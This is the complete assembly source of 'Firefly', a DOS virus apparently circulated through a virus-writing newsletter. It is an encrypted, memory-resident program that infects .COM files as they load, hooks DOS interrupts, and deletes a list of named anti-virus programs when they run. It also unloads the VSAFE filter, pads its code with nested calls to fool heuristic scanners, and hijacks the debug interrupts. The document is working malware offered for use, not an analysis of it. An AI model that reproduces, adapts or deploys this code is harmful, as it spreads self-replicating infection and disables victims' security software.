;FIREFLY virus, by Nikademus.                
;
;Firefly is an encrypted, memory resident virus which infects
;.COMfiles on load.  It incorporates code from Proto-T, 
;LokJaw and YB-X viruses and, when in memory, attacks a large selection
;of anti-virus programs as they are executed.  Anti-virus programs
;identified by Firefly's execute/load handler are deleted.
;Firefly incorporates simple code from previous issues of the newsletter
;designed to de-install generic VSAFE resident virus activity
;filters designed for Microsoft by Central Point Software.  It
;contains instructions - specifically a segment of pseudo-nested 
;loops - which spoof F-Protect's expert system generic virus
;identification feature.
;
;FIREFLY also includes a visual marker tied to the system timer
;tick interrupt (1Ch) which slowly cycles the NumLock, CapsLock
;and ScrollLock LEDs on the keyboard.  This produces a noticeable
;twinkling effect when the virus is active on a machine.
;
;Anti-anti-virus measures used by Firefly vary in effectiveness
;dependent upon how a user employs software.  For example, while
;Firefly is designed to delete the Victor Charlie anti-virus
;shell, VC.EXE, a user who employs the software packages utilities
;for generic virus detection singly, will not be interfered with
;by the virus. Your results may vary, but the virus does effectively
;delete anti-virus programs while in memory unless steps are taken
;beforehand to avoid this.
;
;Firefly incorporates minor code armoring techniques designed to thwart
;trivial debugging.

		
		
		.radix 16
     code       segment
		model  small
		assume cs:code, ds:code, es:code

		org 100h

len             equ offset last - start
vir_len         equ len / 16d                    ; 16 bytes per paragraph 
encryptlength   equ (last - begin)/4+1



start:
		mov bx, offset begin        ; The Encryption Head
		mov cx, encryptlength       ;
encryption_loop:                            ;
		db      81h                 ; XOR WORD PTR [BX], ????h
		db      37h                 ;
encryption_value_1:                         ;
		dw      0000h               ;
					    ;
		db      81h                 ; XOR WORD PTR [BX+2], ????h
		db      77h                 ;
		db      02h                 ; 2 different random words
encryption_value_2:                         ; give 32-bit encryption
		dw      0000h               ;
		add     bx, 4               ;
		loop    encryption_loop     ;
begin:                                           
		jmp virus             
		db     '[Firefly] By Nikademus $'
		db     'Greetings to Urnst Kouch and the CRYPT staff. $'
virus:     
		call    bp_fixup                 ; bp fixup to determine
bp_fixup:                                        ; locations of data
		pop     bp                       ; with respect to the new      
		sub     bp, offset bp_fixup      ; host                  

Is_I_runnin:    
		call    screw_fprot              ; screwing
		call    screw_fprot              ; heuristic scanning
		call    screw_fprot              ;
		call    screw_fprot              ;
		call    screw_fprot              ;
		call    screw_fprot              ;
		call    screw_fprot              ;
		call    screw_fprot              ;
		call    screw_fprot              ;
		call    screw_fprot              ;
		push    ds
		push    es
		mov     ax,2C2Ch                 ;  
		int     21h                      ; call to see if runnin  
		cmp     ax, 0FFFh                ; am i resident?
		jne     cut_hole                 ;
fix_victim:     
		pop     es                       ; replace victims 3 bytes
		pop     ds                       ;
		mov     di,050h                  ; stops one of SCAN's    
		add     di,0B0h                  ; generic scan attempts
		lea     si, ds:[vict_head + bp]  ; (scan only worked on        
		mov     cx, 03h                  ; unencrypted copies 
		rep     movsb                    ; regardless)
Bye_Bye: 
		mov     bx, 100h                 ; jump to 100h
		jmp     bx                       ; (start of victim)
cut_hole:  
		mov     dx, 5945h                ; pull CPAV (MSAV)
		mov     ax, 64001d               ; out of memory
		int     16h                      ; (This also screws with
						 ;  TBCLEAN ???????)
		
		call    screw_fprot              ; more screwing of
		call    screw_fprot              ; heuristic scanning
		call    screw_fprot              ;
		call    screw_fprot              ;
		call    screw_fprot              ;
		call    screw_fprot              ;

		mov     bx,cs                    ; reduce memory size     
		dec     bx                       ;    
		mov     ds,bx                    ;   
		cmp     byte ptr ds:[0000],5a    ;    
		jne     fix_victim               ;         
		mov     bx,ds:[0003]             ;    
		sub     bx, 100h                 ; # of 16byte paragraphs      
		mov     ds:0003,bx               ; to grab (4k)
Zopy_me:  
		xchg    bx, ax                   ; copy self to the new
		mov     bx, es                   ; 'unused' part of memory    
		add     bx, ax                   ;    
		mov     es, bx                   ;
		mov     cx,len                   ;
		mov     ax,ds                    ;   
		inc     ax                       ;
		mov     ds,ax                    ;
		lea     si,ds:[offset start+bp]  ;          
		lea     di,es:0100               ;   
		rep     movsb                    ;   

Hookroutines:                  ; interrupt manipulation (Happy!, Happy!)
		xor     ax, ax                    ;     (Joy!, Joy!)
		mov     ds, ax
		push    ds                        ; push 0000h
		lds     ax, ds:[1Ch*4]
		mov     word ptr es:old_1Ch, ax   ; save 1C
		mov     word ptr es:old_1Ch+2, ds 
		pop     ds
		push    ds
		lds     ax, ds:[21h*4]            ; get int 21h
		mov     word ptr es:old_21h, ax   ; save 21
		mov     word ptr es:old_21h+2, ds 
		mov     bx, ds                    ; bx = ds
		pop     ds
		mov     word ptr ds:[1h*4], ax    ; put int 21h into 1 and 3
		mov     word ptr ds:[1h*4+2], bx  ; this should screw   
		mov     word ptr ds:[3h*4], ax    ; most debuggers
		mov     word ptr ds:[3h*4+2], bx  
		mov     word ptr ds:[21h*4], offset Firefly ; put self in 21 
		mov     ds:[21h*4+2], es                    ;
		mov     ds:[1Ch*4+2], es
		mov     word ptr ds:[1Ch*4], offset Lights  ; hook 1C
		jmp     fix_victim
Lights:                                     ; keyboard lights changer...
					    ; found in NIKTRKS1.ZIP
		push    ax                  ; save these
		push    bx                  ;
		push    cx                  ;
		push    dx                  ;
		push    si                  ;
		push    di                  ;
		push    ds                  ;
		push    es                  ;
		
		push    cs
		pop     ds
		push    cs
		pop     es
		cmp     [click], 63d         ; after 63 clicks
		je      one
		cmp     [click], 126d        ; after 126 clicks
		je      two
		cmp     [click], 189d        ; after 189 clicks
		je      three
		cmp     [click], 0ffh        ; have we counted to 255?
		je      clear
		inc     [click]              ; increase click count
		jmp     endme
clear:          mov     [click], 00h         ; clear click count
		mov     ax, 40h
		mov     ds, ax
		mov     bx, 17h              ; ds:bx = location o' flags
		and     byte ptr [bx],0      ; clear keyboard flag(s)
		jmp     endme
one:            inc     [click]
		mov     ax, 40h
		mov     ds, ax
		mov     bx, 17h
		mov     byte ptr [bx],20h    ; set numlock flag
		jmp     endme
two:            inc     [click]
		mov     ax, 40h
		mov     ds, ax
		mov     bx, 17h
		mov     byte ptr [bx],40h    ; set caps lock flag
		jmp     endme
three:          inc     [click]
		mov     ax, 40h
		mov     ds, ax
		mov     bx, 17h              
		mov     byte ptr [bx],10h    ; set scroll lock flag
endme:       
		pop     es
		pop     ds
		pop     di
		pop     si
		pop     dx
		pop     cx
		pop     bx
		pop     ax
		jmp     dword ptr cs:[old_1Ch]     ; Go to old int 1Ch
		db      'Psalm 69'
screw_fprot:
		jmp  $ + 2                 ;  Nested calls to confuse
		call screw2                ;  f-protect's heuristic
		call screw2                ;  analysis
		call screw2                ;
		call screw2                ;
		call screw2                ;
		ret                        ;
screw2:                                    ;
		jmp  $ + 2                 ;
		call screw3                ;
		call screw3                ;
		call screw3                ;
		call screw3                ;
		call screw3                ;
		ret                        ;
screw3:                                    ;
		jmp  $ + 2                 ;
		call screw4                ;
		call screw4                ;
		call screw4                ;
		call screw4                ;
		call screw4                ;
		ret                        ;
screw4:                                    ;
		jmp  $ + 2                 ;
		ret                        ;
		db      'Every day is Halloween'
Firefly:                                   
		pushf                              ; Am I checking if     
		cmp     ax,2c2ch                   ; I am resident?
		jne     My_21h                     ;
		mov     ax,0FFFh                   ; If so, return
		popf                               ; 0FFFh in AX    
		iret                               ;
		
My_21h:         
		push    ax                         ; save these
		push    bx                         ;
		push    cx                         ;
		push    dx                         ;
		push    si                         ;
		push    di                         ;
		push    ds                         ;
		push    es                         ;
check_for_proper_calls:     
		cmp     ah, 4Bh                    ; executed? 
		je      chk_com 
		cmp     ah, 3Dh                    ; open?
		je      chk_com
		cmp     ah, 43h                    ; attribs?
		je      chk_com
		cmp     ah, 6Ch                    ; extended open?
		je      extended              
	       
notforme:       
		pop     es
		pop     ds
		pop     di
		pop     si
		pop     dx
		pop     cx
		pop     bx
		pop     ax
		popf
		jmp     dword ptr cs:[old_21h]     ; The End
		db      'Happiness in Slavery'
extended:
		mov     dx, si                     ; now a normal open
chk_com:        
		mov     word ptr cs:victim_name,dx
		mov     word ptr cs:victim_name+2,ds
		cld                          
		mov     di,dx                
		push    ds
		pop     es
		mov     al,'.'                     ; find the period
		repne   scasb                      ;
		call    avtest                
		cmp     ax, 00ffh                  ; WAS the program an AV?
		je      notforme
		cmp     word ptr es:[di],'OC'      ; is i a .(CO)M?
		jne     notforme                
Grab_24:                                           ; hook interrupt 24
		push    ds                         ; by direct writes to 
		push    dx                         ; interrupt vector
		xor     ax, ax                     ; table
		mov     ds, ax                     ;
		mov     dx, offset new_24h         ;
		mov     word ptr ds:[24h*4], dx    ;
		mov     word ptr ds:[24h*4+2], es  ; 
		pop     dx                         
		pop     ds                         
		
open_victim:      
		push    cs
		pop     es
		lds     dx, cs:victim_name       ; get and save attributes
		mov     ax, 4300h                ;
		int     3h                       ;
		jc      notforme                 ; error handler
		push    cx                       ;
		push    ds                       ;
		push    dx                       
		mov     ax, 4301h                ; clear attribs
		xor     cx, cx                   ;
		int     1h                       ;
		jc      notforme
		mov     ax,3D02h                 ; open victim
		lds     dx, cs:victim_name       ;
		int     3h                       ;
		jc      notforme                 ; error handler
		push    cs                       ;
		pop     ds                       ;
		xchg    ax, bx                   ; put handle in proper place
get_date:                                        ; get and save date 
						 ; and time
		mov     ax,5700h        
		int     3h
		push    cx                       ; save time
		push    dx                       ; save date
		
check_forme:    
		mov     ah,3fh                       ; read 1st 3 bytes
		mov     cx,03h                       ;
		mov     dx,offset vict_head          ;
		int     1h
		
		mov     ax, 4202h                    ; point to end
		xor     cx, cx                       ;
		xor     dx, dx                       ;
		int     3h                           ;
		
		mov     cx, word ptr [vict_head+1]   ; possible jump location
		add     cx, last-start+3             ;
		cmp     ax, cx                       ; already infected?
		jz      save_date                    ;
		push    ax
get_random:                
		mov     ah, 2Ch                      ; dx and (cx-dx)
		int     3h                           ; will be to two
		or      dx, dx                       ; encryption values
		jz      get_random                   ;
write_virus:    
		mov     word ptr [offset encryption_value_1], dx
		mov     word ptr [offset e_value_1], dx
		sub     cx, dx
		mov     word ptr [offset encryption_value_2], cx
		mov     word ptr [offset e_value_2], cx
		pop     ax
		mov     si, ax                       ; fix BX offset in head
		add     si, ((offset begin-offset start)+100h) 
		mov     word ptr [offset start+1], si  
		
		mov     si, offset start             ; copy virus to buffer
		mov     di, offset encryptbuffer     ;
		mov     cx, last-start               ;
		rep     movsb                        ;

		sub     ax, 03h                          ; construct jump
		mov     word ptr [offset new_jump+1], ax ;
		mov     dl, 0E9h                         ;
		mov     byte ptr [offset new_jump], dl   ;
Encryptvirus_in_buffer:                
		push    bx                                   ; encrypt copy
		mov bx, offset ((begin-start)+encryptbuffer) ; in encrypt-           
		mov cx, encryptlength                        ; buffer
e_loop:                                                      ;
		db      81h                                  ; XOR [bx]
		db      37h                                  ;  
e_value_1:                                                   ;
		dw      0000h                                ; scrambler #1
		db      81h                                  ; XOR [bx+2]
		db      77h                                  ;
		db      02h                                  ;
e_value_2:                                                   ;
		dw      0000h                                ; scrambler #2
		add     bx, 4                                ;
		loop    e_loop                               ; loop

		pop     bx
		mov     ah, 40h                      ; write virus   
		mov     cx, last-start               ;
		mov     dx, offset encryptbuffer     ;
		int     1h                           ;
		
		mov     ax, 4200h                    ; point to front
		xor     cx, cx                       ;
		xor     dx, dx                       ;
		int     1h                           ;
		
		mov     ah, 40h                      ; write jump
		mov     dx, offset new_jump          ;
		mov     cx, 03h                      ;
		int     3h                           ;
save_date:                                     
		pop     dx                        ; Date
		pop     cx                        ; Time
		mov     ax,5701h                  ;
		int     1h
					       ;
close_file:                                    ;
		mov     ah,03Eh                ; Close file and restore  
		int     3h                     ; attribs
		mov     ax, 4301h              ;
		pop     dx                     ;
		pop     ds                     ; This is the end...
		pop     cx                     ; My only friend, The End.
		int     3h                     ;       - Jim Morrison
		jmp     notforme               ;
new_24h:        
		mov     al,3                   ; Critical Error (Mis)handler
		iret                           ;
		db      'The land of Rape and Honey'

		; This area is the "intelligence" of Firefly
		; It looks for known AV names which it then deletes.
		; So it sort of shuts down the computers "immune system"
avtest:
		cmp     word ptr es:[di-3],'MI'    ;Integrity Master
		je      AV                         ;*IM
		
		cmp     word ptr es:[di-3],'XR'    ;*rx
		je      AV                         ;
		
		cmp     word ptr es:[di-3],'PO'    ;*STOP
		jne     next1                      ;(VIRSTOP)
		cmp     word ptr es:[di-5],'TS'    ;
		je      AV                         ;

next1:          cmp     word ptr es:[di-3],'VA'    ;*AV  i.e. cpav
		je      AV_Detected                ;(TBAV) (MSAV)  
		
		cmp     word ptr es:[di-3],'TO'    ;*prot  f-prot
		jne     next2                      ;
		cmp     word ptr es:[di-5],'RP'    ;
		jne     next2                      ;  
AV:             jmp     AV_Detected                ; must be equal

next2:          cmp     word ptr es:[di-3],'NA'    ;*scan  McAffee's 
		jne     next3                      ;(TBSCAN)
		cmp     word ptr es:[di-5],'CS'    ;
		je      AV_Detected                ;  
		
		cmp     word ptr es:[di-3],'NA'    ;*lean  CLEAN..
		jne     next3                      ; why not eh?
		cmp     word ptr es:[di-5],'EL'    ;(TBCLEAN)
		je      AV_Detected                ;  

next3:          cmp     word ptr es:[di-3],'CV'    ; Victor Charlie
		je      AV_Detected                ; default  *VC
		
		cmp     word ptr es:[di-3],'KC'    ; VCHECK
		jne     next4                      ; (Victor Charlie)
		cmp     word ptr es:[di-5],'EH'    ; (TBCHECK) *HECK
		je      AV_Detected                ;  
next4:                
		cmp     word ptr es:[di-3],'ME'    ; TBMEM
		jne     next5                      ; *BMEM
		cmp     word ptr es:[di-5],'MB'    ; 
		je      AV_Detected                ;  
next5:                
		cmp     word ptr es:[di-3],'XN'    ; TBSCANX
		jne     next6                      ; *CANX
		cmp     word ptr es:[di-5],'AC'    ; 
		je      AV_Detected                ;  
next6:                
		cmp     word ptr es:[di-3],'EL'    ; TBFILE
		jne     next7                      ; *FILE
		cmp     word ptr es:[di-5],'IF'    ; 
		je      AV_Detected                ;  
next7:                
		ret
AV_Detected:      
		mov     ds, word ptr cs:[victim_name + 2] ; The Victim
		mov     dx, word ptr cs:[victim_name]
		mov     ax, 4301h                    ; Clear it's attribs
		mov     cx, 00h                      ;
		int     1h
		mov     ah, 41h                      ; Delete It.
		int     3h                           ; 
		ret                                  ;
		db      'Its Dead Jim'                               

vict_head       db  090h, 0cdh, 020h                 ; 3 bytes of storage
old_21h         dw  00h,00h                          ; int 21 storage
old_1Ch         dw  00h,00h
click           db  00h
last:                                               

; The heap........   junk not needed in main program

victim_name     dd  ?
new_jump        db  090h, 090h, 090h       
encryptbuffer   db       (last-start)+1 dup (?)
code            ends
		end start



